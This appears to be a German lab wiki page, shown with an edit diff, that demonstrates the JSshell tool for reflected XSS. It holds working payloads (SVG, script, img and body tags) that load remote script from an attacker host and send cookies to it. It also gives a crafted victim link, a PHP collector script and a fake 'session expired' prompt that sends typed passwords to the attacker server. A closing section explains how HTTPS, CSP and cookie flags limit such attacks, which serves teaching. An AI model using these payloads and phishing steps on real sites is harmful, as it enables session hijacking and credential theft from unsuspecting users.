Jsshell: Unterschied zwischen den Versionen
| Zeile 98: | Zeile 98: | ||
*touch /var/www/html/CollectedSessions.txt | *touch /var/www/html/CollectedSessions.txt | ||
*chmod 666 /var/www/html/CollectedSessions.txt | *chmod 666 /var/www/html/CollectedSessions.txt | ||
| + | |||
| + | ==Test ohne Browser== | ||
| + | *curl "http://10.0.10.101/recv.php?pw=TEST_OK" | ||
==Die Shell== | ==Die Shell== | ||
Version vom 22. Januar 2026, 07:07 Uhr
Vorarbeiten zum Demonstrieren
Opfer-Browser vorbereiten
- about:config
- security.mixed_content.block_active_content → false
- security.mixed_content.block_display_content → false
- security.fileuri.strict_origin_policy → false
git clone
- git clone https://github.com/shelld3v/JSshell/
- cd JSshell/
- chmod +x jsh.py
start
- ./jsh.py -g -p 5555 -s 10.0.10.101
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v3.1
Payloads:
- SVG: <svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
- SCRIPT: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)</script>
- IMG: <img src=x onerror=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
- BODY: <body onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie}></body>
Listening on [any] 5555 for incoming JS shell ...
Payload
- Payload muss ins Eingabefeld
Generierter Link
- http://opfer.secure.local/scripts/xss-reflected.php?name=%3Cscript%3EsetInterval%28function%28%29%7Bwith%28document%29body.appendChild%28createElement%28%22script%22%29%29.src%3D%22%2F%2F10.0.10.101%3A5555%2F%3F%22%2Bdocument.cookie%7D%2C1010%29%3C%2Fscript%3E#
- Generierter Link wird zum Opfer geschickt
Die Shell
Listening on [any] 5555 for incoming JS shell ... Got JS shell from [10.0.10.101] port 53146 to orville 5555 >>>
Lebenszeichen
- confirm('JSshell live')
- Erwartung
Popup erscheint im Opfer-Browser.
Seite sichtbar verändern
- document.body.style.background='red'
- Erwartung
Hintergrund der Opferseite wird rot.
Text einblenden
- document.body.innerHTML='OWNED'
- Erwartung
Opferseite zeigt nur noch OWNED.
Aktuelle URL anzeigen
- confirm(document.location.href)
- Erwartung
Popup mit der aktuell aufgerufenen Opfer-URL.
Cookie anzeigen (falls vorhanden)
- confirm(document.cookie)
- Erwartung
Popup mit Cookie-Inhalt oder leerer String.
Passwörter klauen
Auf Kali
- Apache + PHP installieren
- apt update
- apt install -y apache2 php libapache2-mod-php
- Apache starten
- systemctl enable --now apache2
- Sammler anlegen
- cat /var/www/html/recv.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
$pw = $_GET['pw'] ?? ;
file_put_contents(
__DIR__ . '/CollectedSessions.txt',
$pw . PHP_EOL,
FILE_APPEND
);
?>
- chmod 644 /var/www/html/recv.php
- touch /var/www/html/CollectedSessions.txt
- chmod 666 /var/www/html/CollectedSessions.txt
Test ohne Browser
Die Shell
Listening on [any] 5555 for incoming JS shell ... Got JS shell from [Victim-IP] port XXXXX to kali 5555 >>>
- Passwort abfragen und senden
- var p = prompt('Your session has expired. Please enter your password:',);
- new Image().src='http://10.0.10.101/recv.php?pw='+encodeURIComponent(p);
Beim Opfer
Popup erscheint, Benutzer gibt Passwort ein.
Auf Kali
- tail -f /var/www/html/CollectedSessions.txt
- Erwartung
Passwörter erscheinen zeilenweise in der Datei.
HTTPS und XSS – technische Erklärung
Grundsatz
HTTPS verhindert keine XSS-Schwachstelle. HTTPS beeinflusst ausschließlich, was ein Browser nachladen und ausführen darf.
Mixed Content
Wird eine Seite über HTTPS ausgeliefert, blockiert der Browser standardmäßig das Nachladen aktiver Inhalte über HTTP.
- Aktiver Inhalt
- JavaScript
- externe Skripte
- dynamisch erzeugte <script>-Tags
- Beispiel
<script src="http://10.0.10.101:5555/"></script>
- Ergebnis
Das Script wird nicht geladen. Der XSS-Payload selbst wird ausgeführt, die Eskalation scheitert.
Konsequenz für XSS
- Inline-JavaScript (alert, confirm, DOM-Manipulation) funktioniert
- Externes JavaScript über HTTP wird blockiert
- Werkzeuge wie JSshell funktionieren nicht mehr
Warum Browser so handeln
Aktiver Mixed Content erlaubt einem Angreifer, den verschlüsselten Kontext (HTTPS) zu unterlaufen. Deshalb wird er ohne Nachfrage blockiert.
HTTPS mit externem JavaScript
Externes JavaScript funktioniert nur, wenn:
- die Quelle ebenfalls HTTPS nutzt
- das Zertifikat gültig ist
- keine weiteren Einschränkungen greifen
Zusammenspiel mit CSP
In realen Umgebungen wird HTTPS fast immer mit CSP kombiniert.
- Beispiel
Content-Security-Policy: script-src 'self';
- Wirkung
- Inline-JavaScript ggf. erlaubt
- Externe Skripte grundsätzlich verboten
- Dynamisches Nachladen per XSS wirkungslos
Cookies und HTTPS
HTTPS führt häufig zu zusätzlichen Cookie-Flags:
- Secure
- SameSite
- HttpOnly
Diese erschweren Session-Diebstahl, ändern aber nichts an der Existenz einer XSS.
Technisches Fazit
HTTPS beseitigt keine XSS-Schwachstelle. HTTPS begrenzt die Auswirkungen, insbesondere das Nachladen fremden JavaScripts.